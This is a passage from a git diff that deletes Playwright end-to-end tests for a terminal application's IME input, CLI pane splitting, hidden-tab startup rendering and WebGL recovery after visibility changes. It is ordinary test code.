an overlay pinned to a single cell shows the user only the first letter of what they - // typed. Width is the only property that catches that; text content looks correct. - expect(widthByFrame.get('nihao')!).toBeGreaterThan(widthByFrame.get('n')!) - expect(widthByFrame.get('你好')!).toBeGreaterThan(widthByFrame.get('n')!) - - await commitImeText(arena.session, '你好') - await expectPreeditHidden(orcaPage, 'after committing 你好') - - // The distinct risk here is the adjacency, not the substitution: the stop arrives with no - // composition session immediately after one closed, so a tracker that still believes a - // composition is open swallows it. Dispatched in the glyph-carrying shape so this stays a - // test of the transition rather than a second copy of the known-broken case above. - await dispatchImeRewrittenPrintableKey(arena.session, { - key: '。', - code: 'Period', - keyCode: 190 - }) - await orcaPage.waitForTimeout(60) - await dispatchPlainEnter(arena.session) - - const trace = await readTerminalImeBoundaryTrace(orcaPage) - expect(trace.onData.join('')).toBe('你好。\r') - - const received = await waitForTerminalImeBytes(orcaPage, reader) - expect(received).toEqual([Buffer.from('你好。\n').toString('hex')]) - completed = true - } finally { - await closeTerminalImePaneArena(arena, testInfo, 'pinyin-with-full-width-stop', !completed) - removeTerminalImeByteReader(reader) - } - }) - - for (const policy of ['windows', 'linux'] as const satisfies readonly ImePlatformPolicy[]) { - test(`sends full-width punctuation committed through a composition session on ${policy}`, async ({ - orcaPage, - testRepoPath - }, testInfo) => { - // SYNTHESISED, and the reason is worth stating: the recorded corpus contains no Windows or - // Linux capture of full-width punctuation, only of Hangul and pinyin. What is not synthesised - // is the shape — on these platforms the framework claims the punctuation key as - // VK_PROCESSKEY and routes the substituted glyph through a real composition arena.session, which is - // what `Input.imeSetComposition` opens, rather than through the macOS insertText path the - // tests above cover. The ASCII form is asserted absent rather than the substitution asserted - // present, so this stays true of any design that never manufactures the ASCII byte. - await applyImePlatformPolicy(orcaPage, policy) - const arena = await openTerminalImePaneArena(orcaPage) - const reader = createTerminalImeByteReader(testRepoPath, 1) - const expected = FULL_WIDTH_SESSION_PUNCTUATION.map((entry) => entry.glyph).join('') - let completed = false - try { - await startTerminalImeByteReader(orcaPage, arena.ptyId, reader) - for (const entry of FULL_WIDTH_SESSION_PUNCTUATION) { - await dispatchImeProcessKey(arena.session, { key: 'Process', code: entry.code }) - await setImeComposition(arena.session, entry.glyph) - await expectPreeditRendered(orcaPage, entry.glyph, `composing ${entry.glyph}`) - await commitImeText(arena.session, entry.glyph) - await expectPreeditHidden(orcaPage, `after committing ${entry.glyph}`) - } - await dispatchPlainEnter(arena.session) - - const sent = (await readTerminalImeBoundaryTrace(orcaPage)).onData.join('') - for (const entry of FULL_WIDTH_SESSION_PUNCTUATION) { - expect(sent, `${entry.glyph} reached the PTY as ASCII ${entry.ascii}`).not.toContain( - entry.ascii - ) - } - expect(sent).toBe(`${expected}\r`) - - const received = await waitForTerminalImeBytes(orcaPage, reader) - expect(received).toEqual([Buffer.from(`${expected}\n`).toString('hex')]) - completed = true - } finally { - await closeTerminalImePaneArena( - arena, - testInfo, - `full-width-punctuation-session-${policy}`, - !completed - ) - removeTerminalImeByteReader(reader) - } - }) - } -}) diff --git a/tests/e2e/terminal-cli-split-closed-before-mount.spec.ts b/tests/e2e/terminal-cli-split-closed-before-mount.spec.ts deleted file mode 100644 index b8cd91dfba6..00000000000 --- a/tests/e2e/terminal-cli-split-closed-before-mount.spec.ts +++ /dev/null @@ -1,162 +0,0 @@ -import { execFile } from 'node:child_process' -import { existsSync, mkdirSync } from 'node:fs' -import path from 'node:path' -import { promisify } from 'node:util' -import type { Page } from '@stablyai/playwright-test' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { RuntimeTerminalListResult } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { expect, test } from './helpers/orca-app' -import { waitForActiveTerminalManager } from './helpers/terminal' -import { parkHiddenTabBehindDecoy } from './helpers/terminal-hidden-parking' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -const execFileAsync = promisify(execFile) -const PARKING_DELAY_MS = 500 -const LAYOUT_OWNER_BUILD = existsSync( - path.join(process.cwd(), 'out', 'main', 'ORCA_LAYOUT_OWNER_MAIN') -) - -test.use({ - orcaAppExtraEnv: { ORCA_E2E_TERMINAL_PARKING_DELAY_MS: String(PARKING_DELAY_MS) } -}) - -type SplitOutcome = { ok: true } | { ok: false; error: string } - -async function runCliSplit( - userDataDir: string, - terminalHandle: string, - command: string -): Promise { - const repoRoot = process.cwd() - try { - await execFileAsync( - process.execPath, - [ - path.join(repoRoot, 'config', 'scripts', 'development', 'launch', 'orca-dev.mjs'), - 'terminal', - 'split', - '--terminal', - terminalHandle, - '--command', - command, - '--json' - ], - { - cwd: repoRoot, - env: { ...process.env, ORCA_DEV_USER_DATA_PATH: userDataDir }, - timeout: 30_000 - } - ) - return { ok: true } - } catch (error) { - const stdout = error instanceof Error && 'stdout' in error ? String(error.stdout) : '' - const stderr = error instanceof Error && 'stderr' in error ? String(error.stderr) : '' - return { ok: false, error: [stdout, stderr].filter(Boolean).join('\n') } - } -} - -async function createActiveTab(page: Page, worktreeId: string): Promise { - const tabId = await page.evaluate((id) => { - const state = window.__store!.getState() - const tab = state.createTab(id, undefined, undefined, { activate: true }) - state.setActiveTab(tab.id) - state.setActiveTabType('terminal', window.__store!.getState().activeWorktreeId) - return tab.id - }, worktreeId) - await waitForActiveTerminalManager(page, 30_000) - return tabId -} - -async function handleFor( - client: RuntimeClient, - worktreeId: string, - tabId: string -): Promise { - let handle = '' - await expect - .poll(async () => { - const listed = await client - .call('terminal.list', { - worktree: `id:${worktreeId}`, - limit: 200 - }) - .catch(() => null) - handle = listed?.result.terminals.find((t) => t.tabId === tabId && t.connected)?.handle ?? '' - return handle - }) - .toBeTruthy() - return handle -} - -/** Keeps the renderer busy for `ms`, as a window too busy to mount anything. */ -async function stallRenderer(page: Page, ms: number): Promise { - await page.evaluate((stallMs) => { - setTimeout(() => { - const until = performance.now() + stallMs - while (performance.now() < until) { - // Busy renderer. - } - }, 0) - }, ms) -} - -function windowLeafIdsOf(page: Page, tabId: string): Promise { - return page.evaluate((id) => { - const collect = (node: unknown): string[] => { - if (typeof node !== 'object' || node === null) { - return [] - } - if ('leafId' in node && typeof node.leafId === 'string') { - return [node.leafId] - } - return [ - ...('first' in node ? collect(node.first) : []), - ...('second' in node ? collect(node.second) : []) - ] - } - return collect(window.__store?.getState().terminalLayoutsByTabId[id]?.root) - }, tabId) -} - -// The window is stalled past the old 10 s wait: main still starts the split's terminal, its -// command runs, and the window shows the pane from main's layout once it is free. -test('a CLI split runs its command while the window is stalled, and the window shows the pane', async ({ - electronApp, - orcaPage -}, testInfo) => { - test.skip(!LAYOUT_OWNER_BUILD, 'layout-owner build only') - test.setTimeout(180_000) - await waitForSessionReady(orcaPage) - const worktreeId = await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const client = new RuntimeClient(userDataDir, 30_000) - const tabId = await createActiveTab(orcaPage, worktreeId) - const source = await handleFor(client, worktreeId, tabId) - await parkHiddenTabBehindDecoy(orcaPage, worktreeId, tabId, { parkDelayMs: PARKING_DELAY_MS }) - await stallRenderer(orcaPage, 11_000) - const marker = testInfo.outputPath(`split-ran-${Date.now()}`) - mkdirSync(path.dirname(marker), { recursive: true }) - const outcome = await runCliSplit(userDataDir, source, `touch '${marker}'`) - expect(outcome).toEqual({ ok: true }) - await expect.poll(() => existsSync(marker), { timeout: 30_000 }).toBe(true) - let tabLeafIds: string[] = [] - await expect - .poll(async () => { - const listed = await client.call('terminal.list', { - worktree: `id:${worktreeId}`, - limit: 200 - }) - tabLeafIds = listed.result.terminals - .filter((t) => t.tabId === tabId) - .map((t) => t.leafId) - .sort() - return tabLeafIds.length - }) - .toBe(2) - // Past the stall, the window holds both panes main has. - await expect - .poll(async () => (await windowLeafIdsOf(orcaPage, tabId)).sort(), { timeout: 30_000 }) - .toEqual(tabLeafIds) -}) diff --git a/tests/e2e/terminal-codex-hidden-startup-background.spec.ts b/tests/e2e/terminal-codex-hidden-startup-background.spec.ts deleted file mode 100644 index fd0cefba3b7..00000000000 --- a/tests/e2e/terminal-codex-hidden-startup-background.spec.ts +++ /dev/null @@ -1,352 +0,0 @@ -import type { XtermWithRenderDimensions } from './helpers/xterm-render-dimensions' -import { Buffer } from 'node:buffer' -import { PNG } from 'pngjs' -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { stageNodeScriptForTerminal } from './helpers/run-node-script-in-terminal' -import { - ensureTerminalVisible, - getActiveWorktreeId, - getAllWorktreeIds, - switchToWorktree, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { getTerminalContent, waitForActiveTerminalManager } from './helpers/terminal' -import { BACKGROUND_MOUNT_TERMINAL_WORKTREE_EVENT } from '../../src/renderer/src/constants/terminal' - -type CodexStartupBackgroundTarget = { - clip: { x: number; y: number; width: number; height: number } - cellWidth: number - cellHeight: number - cols: number - row: number - modelBackgroundCells: number -} - -const COMPOSER_BG = { red: 72, green: 72, blue: 72 } - -function codexLikeStartupCommand(marker: string): string { - const script = [ - // Why: embedded as a literal — an argv marker would need per-shell quoting. - `const marker = ${JSON.stringify(marker)};`, - 'const width = Math.max(60, process.stdout.columns || 100);', - 'const pad = (text) => (text + " ".repeat(width)).slice(0, width);', - 'const bg = "\\x1b[48;2;72;72;72m\\x1b[38;2;235;235;235m";', - 'const reset = "\\x1b[0m";', - 'let reply = "";', - 'const hasColor = (slot) => new RegExp("\\\\x1b\\\\]" + slot + ";rgba?:[0-9a-fA-F]{2,4}/[0-9a-fA-F]{2,4}/[0-9a-fA-F]{2,4}(?:/[0-9a-fA-F]{2,4})?(?:\\\\x07|\\\\x1b\\\\\\\\)").test(reply);', - 'const render = () => {', - ' const colorsOk = hasColor(10) && hasColor(11);', - ' const status = colorsOk ? "OSC_COLORS_OK" : "OSC_COLORS_MISSING";', - ' const prefix = colorsOk ? bg : "";', - ' const suffix = colorsOk ? reset : "";', - ' process.stdout.write("\\x1b[?2026h\\x1b[2J\\x1b[H");', - ' process.stdout.write("Codex hidden startup background repro " + status + "\\r\\n\\r\\n");', - ' process.stdout.write(prefix + pad("> " + marker + " " + status + " type here") + suffix + "\\r\\n");', - ' process.stdout.write("\\x1b[?2026l");', - '};', - 'if (process.stdin.isTTY && typeof process.stdin.setRawMode === "function") {', - ' process.stdin.setRawMode(true);', - '}', - 'process.stdin.resume();', - 'process.stdin.on("data", (chunk) => {', - ' reply += chunk.toString("binary");', - '});', - 'process.stdout.write("\\x1b]10;?\\x1b\\\\\\x1b]11;?\\x1b\\\\");', - 'setTimeout(render, 100);', - 'setInterval(() => {}, 1000);' - ].join('') - // Why: delivered via a temp file — `node -e` quoting is not PowerShell-safe (#8521). - return stageNodeScriptForTerminal(script, { prefix: 'orca-codex-startup-bg' }).command -} - -async function waitForHiddenTabPtyId(page: Page, tabId: string): Promise { - let ptyId: string | null = null - await expect - .poll( - async () => { - ptyId = await page.evaluate((targetTabId) => { - const state = window.__store?.getState() - if (!state) { - return null - } - return state.ptyIdsByTabId[targetTabId]?.[0] ?? null - }, tabId) - return ptyId - }, - { - timeout: 20_000, - message: `Hidden Codex terminal tab ${tabId} did not receive a PTY binding` - } - ) - .not.toBeNull() - - if (!ptyId) { - throw new Error(`waitForHiddenTabPtyId: tab ${tabId} has no PTY id`) - } - return ptyId -} - -async function mainSnapshotContains(page: Page, ptyId: string, text: string): Promise { - return page.evaluate( - async ({ targetPtyId, expectedText }) => { - const snapshot = await window.api.pty.getMainBufferSnapshot(targetPtyId, { - scrollbackRows: 200 - }) - return snapshot?.data.includes(expectedText) ?? false - }, - { targetPtyId: ptyId, expectedText: text } - ) -} - -async function readCodexStartupBackgroundTarget( - page: Page, - marker: string -): Promise { - return page.evaluate( - ({ marker, expected }) => { - const isExpectedBackground = (cell: unknown): boolean => { - const record = cell as { - isBgRGB?: () => boolean - getBgColor?: () => number - } - if (!record?.isBgRGB?.()) { - return false - } - const color = record.getBgColor?.() ?? 0 - const red = (color >> 16) & 0xff - const green = (color >> 8) & 0xff - const blue = color & 0xff - return ( - Math.abs(red - expected.red) <= 3 && - Math.abs(green - expected.green) <= 3 && - Math.abs(blue - expected.blue) <= 3 - ) - } - - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - throw new Error('Active Codex terminal pane is unavailable') - } - const screen = pane.container.querySelector('.xterm-screen') - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: xterm has no public cell-size API; the private render service is read through all-optional fields. - const dimensions = (pane.terminal as XtermWithRenderDimensions)._core?._renderService - ?.dimensions?.css?.cell - if (!screen || !dimensions) { - throw new Error('Active Codex terminal has no measurable xterm screen') - } - const rect = screen.getBoundingClientRect() - if (rect.width <= 0 || rect.height <= 0) { - throw new Error('Active Codex terminal screen is not visible') - } - const activeBuffer = pane.terminal.buffer.active - for (let row = 0; row < pane.terminal.rows; row += 1) { - const line = activeBuffer.getLine(activeBuffer.viewportY + row) - const rowText = line?.translateToString(true) ?? '' - if (!rowText.includes(marker)) { - continue - } - let modelBackgroundCells = 0 - for (let col = 0; col < pane.terminal.cols; col += 1) { - if (isExpectedBackground(line?.getCell(col))) { - modelBackgroundCells += 1 - } - } - return { - clip: { x: rect.x, y: rect.y, width: rect.width, height: rect.height }, - cellWidth: dimensions.width, - cellHeight: dimensions.height, - cols: pane.terminal.cols, - row, - modelBackgroundCells - } - } - throw new Error(`Could not find Codex startup background marker ${marker}`) - }, - { marker, expected: COMPOSER_BG } - ) -} - -function isExpectedBackgroundPixel( - red: number, - green: number, - blue: number, - alpha: number -): boolean { - return ( - alpha >= 245 && - Math.abs(red - COMPOSER_BG.red) <= 8 && - Math.abs(green - COMPOSER_BG.green) <= 8 && - Math.abs(blue - COMPOSER_BG.blue) <= 8 - ) -} - -async function countVisibleBackgroundPixels( - page: Page, - target: CodexStartupBackgroundTarget -): Promise { - const viewport = await page.evaluate(() => ({ - width: window.innerWidth, - height: window.innerHeight - })) - const screenshot = Buffer.from(await page.screenshot()) - const image = PNG.sync.read(screenshot) - const scaleX = image.width / viewport.width - const scaleY = image.height / viewport.height - const originX = Math.round(target.clip.x * scaleX) - const originY = Math.round(target.clip.y * scaleY) - const rowTop = originY + Math.round(target.row * target.cellHeight * scaleY) - const yStart = rowTop + Math.round(target.cellHeight * scaleY * 0.25) - const yEnd = rowTop + Math.round(target.cellHeight * scaleY * 0.75) - const xEnd = Math.min(image.width, originX + Math.round(target.clip.width * scaleX)) - let count = 0 - for (let y = yStart; y < yEnd; y += 1) { - for (let x = originX; x < xEnd; x += 1) { - const offset = (y * image.width + x) * 4 - if ( - isExpectedBackgroundPixel( - image.data[offset] ?? 0, - image.data[offset + 1] ?? 0, - image.data[offset + 2] ?? 0, - image.data[offset + 3] ?? 0 - ) - ) { - count += 1 - } - } - } - return count -} - -test.describe('Codex hidden startup composer background', () => { - test('restores the input background when a Codex worktree first becomes visible', async ({ - orcaPage - }) => { - await waitForSessionReady(orcaPage) - const firstWorktreeId = await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const secondWorktreeId = (await getAllWorktreeIds(orcaPage)).find( - (id) => id !== firstWorktreeId - ) - test.skip(!secondWorktreeId, 'Codex hidden startup background repro needs a second worktree') - if (!secondWorktreeId) { - return - } - - const marker = `CODEX_STARTUP_BG_${Date.now()}` - const command = codexLikeStartupCommand(marker) - const hiddenTabId = await orcaPage.evaluate( - ({ worktreeId, command, eventName }) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - window.dispatchEvent( - new CustomEvent(eventName, { - detail: { worktreeId } - }) - ) - const state = store.getState() - const tab = state.createTab(worktreeId, undefined, undefined, { - activate: false, - launchAgent: 'codex', - recordInteraction: false - }) - state.queueTabStartupCommand(tab.id, { - command, - launchAgent: 'codex', - telemetry: { - agent_kind: 'codex', - launch_source: 'tab_bar_quick_launch', - request_kind: 'new' - } - }) - state.setTabCustomTitle(tab.id, 'Codex hidden startup background', { - recordInteraction: false - }) - return tab.id - }, - { - worktreeId: secondWorktreeId, - command, - eventName: BACKGROUND_MOUNT_TERMINAL_WORKTREE_EVENT - } - ) - - const hiddenPtyId = await waitForHiddenTabPtyId(orcaPage, hiddenTabId) - await expect - .poll(() => mainSnapshotContains(orcaPage, hiddenPtyId, marker), { - timeout: 20_000, - message: 'Hidden Codex startup background never reached the main buffer snapshot' - }) - .toBe(true) - // #7214: main ingests then withholds hidden output before renderer delivery; main snapshot and first reveal prove handling/restoration. - - await switchToWorktree(orcaPage, secondWorktreeId) - await expect - .poll(() => getActiveWorktreeId(orcaPage), { - timeout: 10_000, - message: 'Hidden Codex worktree did not become active' - }) - .toBe(secondWorktreeId) - await orcaPage.evaluate((tabId) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const state = store.getState() - state.setActiveTab(tabId) - state.setActiveTabType('terminal', store.getState().activeWorktreeId) - }, hiddenTabId) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await expect - .poll(() => getTerminalContent(orcaPage, 8_000), { - timeout: 10_000, - message: 'First visible mount did not restore hidden Codex startup content' - }) - .toContain(marker) - - // Why a holder: TS can't see the poll callback's writes and would narrow a `let` to null. - const captured: { target: CodexStartupBackgroundTarget | null } = { target: null } - await expect - .poll( - async () => { - try { - const nextTarget = await readCodexStartupBackgroundTarget(orcaPage, marker) - captured.target = nextTarget - return nextTarget.modelBackgroundCells >= Math.min(40, nextTarget.cols) - } catch { - captured.target = null - return false - } - }, - { - timeout: 10_000, - message: 'Hidden Codex startup content restored without the composer background' - } - ) - .toBe(true) - const target = captured.target - if (!target) { - throw new Error('Codex startup background target was not captured') - } - const visibleBackgroundPixels = await countVisibleBackgroundPixels(orcaPage, target) - const minimumVisiblePixels = Math.round( - target.modelBackgroundCells * target.cellWidth * target.cellHeight * 0.2 - ) - expect(visibleBackgroundPixels).toBeGreaterThanOrEqual(minimumVisiblePixels) - }) -}) diff --git a/tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts b/tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts deleted file mode 100644 index 19dd33dc8ee..00000000000 --- a/tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts +++ /dev/null @@ -1,353 +0,0 @@ -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { PNG } from 'pngjs' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - splitActiveTerminalPane, - waitForActiveTerminalManager, - waitForPaneCount -} from './helpers/terminal' - -async function forceWebgl(page: Page): Promise { - await page.evaluate(() => { - const state = window.__store?.getState() - if (!state?.settings) { - throw new Error('Store unavailable') - } - window.__store?.setState({ - settings: { - ...state.settings, - terminalGpuAcceleration: 'on' - } - }) - const worktreeId = state.activeWorktreeId - const tabId = - state.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - manager?.setTerminalGpuAcceleration('on') - }) - return page - .waitForFunction( - () => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const diagnostics = tabId - ? (window.__paneManagers?.get(tabId)?.getRenderingDiagnostics?.() ?? []) - : [] - return diagnostics.some((diagnostic) => diagnostic.hasWebgl) - }, - null, - { timeout: 5_000 } - ) - .then(() => true) - .catch(() => false) -} - -async function writeStableTerminalContent(page: Page): Promise { - await page.evaluate(async () => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - throw new Error('Active terminal pane is unavailable') - } - const panes = manager?.getPanes?.() ?? (pane ? [pane] : []) - if (panes.length === 0) { - throw new Error('Terminal panes are unavailable') - } - for (const [paneIndex, targetPane] of panes.entries()) { - const rows = Array.from( - { length: 12 }, - (_, row) => - `VISIBILITY_WEBGL_RECOVERY pane ${paneIndex} row ${String(row).padStart(2, '0')} abcdefghijklmnopqrstuvwxyz 0123456789 []{}<>/\\` - ) - await new Promise((resolve) => - targetPane.terminal.write(`\x1b[2J\x1b[3J\x1b[H\x1b[?25l${rows.join('\r\n')}`, resolve) - ) - targetPane.terminal.refresh(0, targetPane.terminal.rows - 1) - } - }) - await page.evaluate( - () => new Promise((resolve) => requestAnimationFrame(() => requestAnimationFrame(resolve))) - ) -} - -async function patchAtlasCounter(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const panes = [ - ...(( - manager as unknown as - | { panes?: Map void } | null }> } - | undefined - )?.panes?.values?.() ?? []) - ] - const webglAddons = panes - .map((pane) => pane.webglAddon) - .filter((webglAddon): webglAddon is { clearTextureAtlas: () => void } => Boolean(webglAddon)) - if (webglAddons.length === 0) { - return false - } - const globalWithCounter = window as typeof window & { - __documentVisibilityAtlasResetCount?: number - } - globalWithCounter.__documentVisibilityAtlasResetCount = 0 - for (const webglAddon of webglAddons) { - const originalClearTextureAtlas = webglAddon.clearTextureAtlas.bind(webglAddon) - webglAddon.clearTextureAtlas = () => { - globalWithCounter.__documentVisibilityAtlasResetCount = - (globalWithCounter.__documentVisibilityAtlasResetCount ?? 0) + 1 - originalClearTextureAtlas() - } - } - return true - }) -} - -async function countPatchedWebglAddons(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - return [ - ...(( - manager as unknown as - | { panes?: Map void } | null }> } - | undefined - )?.panes?.values?.() ?? []) - ].filter((pane) => pane.webglAddon).length - }) -} - -async function readAtlasResetCount(page: Page): Promise { - return page.evaluate(() => { - const globalWithCounter = window as typeof window & { - __documentVisibilityAtlasResetCount?: number - } - return globalWithCounter.__documentVisibilityAtlasResetCount ?? 0 - }) -} - -async function resetAtlasResetCount(page: Page): Promise { - await page.evaluate(() => { - const globalWithCounter = window as typeof window & { - __documentVisibilityAtlasResetCount?: number - } - globalWithCounter.__documentVisibilityAtlasResetCount = 0 - }) -} - -async function waitForTerminalPaint(page: Page): Promise { - await page.evaluate( - () => new Promise((resolve) => requestAnimationFrame(() => requestAnimationFrame(resolve))) - ) -} - -async function terminalScreenshots(page: Page): Promise { - const screens = page.locator('.xterm-screen') - const count = await screens.count() - const screenshots: Buffer[] = [] - for (let index = 0; index < count; index += 1) { - const screen = screens.nth(index) - await expect(screen).toBeVisible() - screenshots.push(await screen.screenshot({ animations: 'disabled' })) - } - return screenshots -} - -function countTerminalInkPixels(buffer: Buffer): number { - const image = PNG.sync.read(buffer) - const buckets = new Map() - for (let offset = 0; offset < image.data.length; offset += 4) { - const alpha = image.data[offset + 3] ?? 0 - if (alpha < 128) { - continue - } - const red = image.data[offset] ?? 0 - const green = image.data[offset + 1] ?? 0 - const blue = image.data[offset + 2] ?? 0 - const key = `${red >> 3},${green >> 3},${blue >> 3}` - const bucket = buckets.get(key) ?? { count: 0, red, green, blue } - bucket.count += 1 - buckets.set(key, bucket) - } - const background = [...buckets.values()].sort((a, b) => b.count - a.count)[0] - if (!background) { - return 0 - } - let inkPixels = 0 - for (let offset = 0; offset < image.data.length; offset += 4) { - const alpha = image.data[offset + 3] ?? 0 - if (alpha < 128) { - continue - } - const red = image.data[offset] ?? 0 - const green = image.data[offset + 1] ?? 0 - const blue = image.data[offset + 2] ?? 0 - const distance = - Math.abs(red - background.red) + - Math.abs(green - background.green) + - Math.abs(blue - background.blue) - if (distance > 48) { - inkPixels += 1 - } - } - return inkPixels -} - -async function showBrowserWindow(electronApp: ElectronApplication): Promise { - await electronApp.evaluate(({ BrowserWindow }) => { - const window = BrowserWindow.getAllWindows()[0] - if (!window) { - throw new Error('No BrowserWindow available') - } - if (window.isMinimized()) { - window.restore() - } - window.show() - window.focus() - }) -} - -async function tryBrowserWindowVisibilityCycle( - electronApp: ElectronApplication, - page: Page -): Promise { - await electronApp.evaluate(({ BrowserWindow }) => { - const window = BrowserWindow.getAllWindows()[0] - if (!window) { - throw new Error('No BrowserWindow available') - } - window.hide() - }) - await page.waitForTimeout(500) - const becameHidden = await page.evaluate(() => document.visibilityState === 'hidden') - await showBrowserWindow(electronApp) - await page.waitForTimeout(500) - return becameHidden && (await page.evaluate(() => document.visibilityState === 'visible')) -} - -async function dispatchDocumentVisibilityCycle(page: Page): Promise { - await page.evaluate(() => { - const setVisibilityState = (visibilityState: DocumentVisibilityState): void => { - Object.defineProperty(document, 'visibilityState', { - configurable: true, - get: () => visibilityState - }) - } - - try { - setVisibilityState('hidden') - document.dispatchEvent(new Event('visibilitychange')) - setVisibilityState('visible') - document.dispatchEvent(new Event('visibilitychange')) - } finally { - // Restore visible document state for cleanup because the hidden harness may never report it naturally. - setVisibilityState('visible') - } - }) -} - -test.describe('terminal document visibility WebGL recovery', () => { - test('@headful preserves the WebGL atlas and keeps terminal text painted after document visibility resumes', async ({ - electronApp, - orcaPage - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await splitActiveTerminalPane(orcaPage, 'vertical') - await waitForPaneCount(orcaPage, 2) - - const webglActive = await forceWebgl(orcaPage) - test.skip(!webglActive, 'WebGL was not active in this Electron environment') - - await writeStableTerminalContent(orcaPage) - expect(await patchAtlasCounter(orcaPage)).toBe(true) - expect(await countPatchedWebglAddons(orcaPage)).toBeGreaterThanOrEqual(2) - const baseline = await terminalScreenshots(orcaPage) - expect(baseline.length).toBeGreaterThanOrEqual(2) - const baselineInkPixels = baseline.map(countTerminalInkPixels) - for (const inkPixels of baselineInkPixels) { - expect(inkPixels).toBeGreaterThan(1_000) - } - - try { - // Exercise app background/foreground while the pane stays mounted, bypassing React’s usual visibility-resume path. - await resetAtlasResetCount(orcaPage) - const browserWindowVisibilityWorked = await tryBrowserWindowVisibilityCycle( - electronApp, - orcaPage - ) - console.log( - `[visibility-webgl] browserWindowVisibilityWorked=${browserWindowVisibilityWorked}` - ) - if (!browserWindowVisibilityWorked) { - await resetAtlasResetCount(orcaPage) - await dispatchDocumentVisibilityCycle(orcaPage) - } - - await waitForTerminalPaint(orcaPage) - expect( - await readAtlasResetCount(orcaPage), - 'ordinary document visibility resume cleared the shared WebGL atlas' - ).toBe(0) - - const afterResume = await terminalScreenshots(orcaPage) - for (const [index, baselineShot] of baseline.entries()) { - await testInfo.attach(`visibility-webgl-baseline-${index}`, { - body: baselineShot, - contentType: 'image/png' - }) - } - for (const [index, afterResumeShot] of afterResume.entries()) { - await testInfo.attach(`visibility-webgl-after-resume-${index}`, { - body: afterResumeShot, - contentType: 'image/png' - }) - } - expect(afterResume.length).toBe(baseline.length) - const afterResumeInkPixels = afterResume.map(countTerminalInkPixels) - for (const [index, inkPixels] of afterResumeInkPixels.entries()) { - expect( - inkPixels, - `terminal glyph pixels disappeared after visibility resume in pane ${index}` - ).toBeGreaterThanOrEqual(Math.floor((baselineInkPixels[index] ?? 0) * 0.85)) - } - } finally { - await showBrowserWindow(electronApp).catch(() => {}) - } - }) -}) diff --git a/tests/e2e/terminal-duplicate-pty-renderer-reveal.spec.ts b/tests/e2e/terminal-duplicate-pty-renderer-reveal.spec.ts deleted file mode 100644 index a388901f52e..00000000000 --- a/tests/e2e/terminal-duplicate-pty-renderer-reveal.spec.ts +++ /dev/null @@ -1,331 +0,0 @@ -import { - mutateStoppedProfileState, - readPersistedProfileState -} from './helpers/persisted-profile-state' -import { randomUUID } from 'node:crypto' -import { existsSync, readFileSync } from 'node:fs' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import type { TerminalLayoutSnapshot } from '../../src/shared/workspace-layout/terminal-tab-types' -import { test, expect } from './helpers/orca-app' -import { - findMarkerFrame, - readActiveScreen, - readRenderedAltScreenFrame, - type ActiveScreen -} from './helpers/alt-screen-frame' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { stageNodeScriptForTerminal } from './helpers/run-node-script-in-terminal' -import { - execInTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneCount, - waitForTerminalOutput -} from './helpers/terminal' -import { - ensureTerminalVisible, - getActiveTabId, - getActiveWorktreeId, - waitForSessionReady -} from './helpers/store' -import { TEST_REPO_PATH_FILE } from './global-setup' - -type PersistedData = { - workspaceSession?: { - activeTabId?: string | null - terminalLayoutsByTabId?: Record - } -} - -type RendererOwnershipSnapshot = { - paneCount: number - xtermCount: number - rootLeafCount: number - ptyBindingCount: number - 